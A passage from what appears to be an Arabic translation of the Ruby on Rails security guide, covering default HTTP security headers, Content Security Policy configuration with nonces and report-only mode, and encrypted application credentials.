  'Referrer-Policy' => 'strict-origin-when-cross-origin'
}

يمكنك ضبط الترويسات الافتراضية في config/application.rb.

config.action_dispatch.default_headers = {
  'Header-Name' => 'Header-Value',
  'X-Frame-Options' => 'DENY'
}

أو يمكنك إزالتها.

config.action_dispatch.default_headers.clear

في ما يلي قائمة بالترويسات الشائعة:

  • X-Frame-Options: "SAMEORIGIN"‎: في ريلز افتراضيًا؛ تسمح بالتأطير (framing) على نفس النطاق. اضبط هذه الترويسة إلى "DENY" لرفض التأطير على الإطلاق أو إلى "ALLOWALL" إذا كنت تريد السماح بتأطير جميع مواقع الويب.
  • X-XSS-Protection: '1; mode=block'‎: بشكل افتراضي - استخدم XSS Auditor و block page إذا تم اكتشاف هجوم XSS. اضبطه إلى "0" إذا كنت ترغب في تبديل XSS Auditor (هذه الترويسة مفيدة إذا كانت نصوص استجابة المحتويات من معاملات الطلب).
  • X-Content-Type-Options: 'nosniff'‎: في ريلز بشكل افتراضي - يتوقف المتصفح عن تخمين نوع MIME لأي ملف.
  • Access-Control-Allow-Origin: يُستخدم للتحكم في المواقع المسموح لها بتجاوز سياسات المصدر الواحد نفسها وإرسال طلبات عابرة للمصادر (cross-origin requests).

سياسة أمن المحتوى

يوفر ريلز DSL الذي يسمح لك بضبط "نهج أمان المحتوى" للتطبيق الخاص بك. يمكنك تكوين سياسة افتراضية عامة ثم تجاوزها على أساس كل مورد وحتى استخدام تعابير lambda لإدخال قيم كل طلب في الترويسة مثل نطاقات الحساب الفرعية في تطبيق متعدد المستأجرين.

مثال على السياسة العامة:

# config/initializers/content_security_policy.rb
Rails.application.config.content_security_policy do |policy|
  policy.default_src :self, :https
  policy.font_src    :self, :https, :data
  policy.img_src     :self, :https, :data
  policy.object_src  :none
  policy.script_src  :self, :https
  policy.style_src   :self, :https
 
  # لتقارير الانتهاكات URI تحديد عنوان
  policy.report_uri "/csp-violation-report-endpoint"
end

مثال عن تجاوز وحدة التحكم:

# تجاوز السياسة المضمنة
class PostsController < ApplicationController
  content_security_policy do |p|
    p.upgrade_insecure_requests true
  end
end
 
# استخدام القيم الحرفية
class PostsController < ApplicationController
  content_security_policy do |p|
    p.base_uri "https://www.example.com"
  end
end
 
# استخدام قيم مختلطة وديناميكية مختلطة
class PostsController < ApplicationController
  content_security_policy do |p|
    p.base_uri :self, -> { "https://#{current_user.domain}.example.com" }
  end
end
 
# العام CSP تعطيل
class LegacyPagesController < ApplicationController
  content_security_policy false, only: :index
end

استخدم خاصية التكوين content_security_policy_report_only لتعيين Content-Security-Policy-Report-Only للإبلاغ عن انتهاكات المحتوى فقط من أجل ترحيل المحتوى القديم:

# config/initializers/content_security_policy.rb
Rails.application.config.content_security_policy_report_only = true
# تجاور وحدة التحكم
class PostsController < ApplicationController
  content_security_policy_report_only only: :index
end

يمكنك تمكين توليد رقم خاص (nonce، وهو قيمة عشوائية) تلقائيًّا:

# config/initializers/content_security_policy.rb
Rails.application.config.content_security_policy do |policy|
  policy.script_src :self, :https
end
 
Rails.application.config.content_security_policy_nonce_generator = -> request { SecureRandom.base64(16) }

بعد ذلك، يمكنك إضافة قيمة رقم خاص عشوائية تلقائية عن طريق تمرير nonce: true كجزء من html_options. إليك المثال التالي:

<%= javascript_tag nonce: true do -%>
  alert('Hello, World!');
<% end -%>

نفس الشيء يعمل مع javascript_include_tag:

<%= javascript_include_tag "script", nonce: true %>

استخدم المساعد csp_meta_tag لإنشاء وسم وصفي "csp-nonce" بقيمة عشوائية لكل جلسة للسماح بالوسم <script> المضمن.

<head>
  <%= csp_meta_tag %>
</head>

يستخدم بواسطة مساعد ريلز UJS لإنشاء عناصر <script> مضمنة بشكل ديناميكي.

الأمن البيئي

إنه خارج نطاق هذا الدليل لإعلامك بكيفية تأمين رمز التطبيق والبيئات الخاصة بك. ومع ذلك، يرجى تأمين ضبط قاعدة البيانات، على سبيل المثال، config/database.yml، وسر (secret) الخادم الخاص بك، على سبيل المثال، المخزن في config/secrets.yml. قد ترغب في فرض قيود إضافية على الوصول باستخدام إصدارات خاصة ببيئة محدَّدة من هذه الملفات وأي إصدارات أخرى قد تحتوي على معلومات حساسة.

بيانات الإعتماد المخصصة

تولد ريلز config/credentials.yml لتخزين بيانات اعتماد جهة خارجية داخل repo. هذا قابل للتطبيق فقط لأن ريلز تشفر الملف باستخدام مفتاح رئيسي جرى توليده في تحكم إصدار (version control) تجاهل config/master.key - سوف يبحث ريلز أيضًا عن هذا المفتاح في ENV["RAILS_MASTER_KEY"]‎. تتطلب ريلز أيضًا المفتاح لبدء التطبيق في بيئة الإنتاج، لذلك يمكن قراءة بيانات الاعتماد (credentials).

لتعديل بيانات الاعتماد المخزنة، استخدم الأمر bin/rails credentials:edit.

بشكل افتراضي، يحتوي هذا الملف على secret_key_base للتطبيق، ولكن يمكن استخدامه أيضًا لتخزين بيانات اعتماد أخرى مثل مفاتيح الوصول لواجهات برمجة التطبيقات الخارجية.

يمكن الوصول إلى بيانات الاعتماد المضافة إلى هذا الملف عبر Rails.application.credentials. على سبيل المثال، باستخدام الإعدادات التالية من config/credentials.yml.enc التي جرى فك تشفيرها:

secret_key_base: 3b7cd727ee24e8444053437c36cc66c3
some_api_key: SOMEKEY

يعيد Rails.application.credentials.some_api_key القيمة SOMEKEY في أية بيئة. إذا كنت تريد رمي استثناء عندما يكون مفتاح ما فارغًا، فاستخدم الإصدار المُغيِّر منه (الذي يحتوي على ! في نهايته):

Rails.application.credentials.some_api_key! # => raises KeyError: :some_api_key is blank

مراجع إضافية

يشهد المشهد الأمني لتطبيقات الويب تقلبات كثيرة ومن المهم البقاء على اطلاع على آخر التطورات الأمنية في هذا المجال، لأن السهو عن ثغرة أمنية قد يكون كارثيًّا. يمكنك العثور على موارد إضافية حول أمان (ريلز) هنا:

مصادر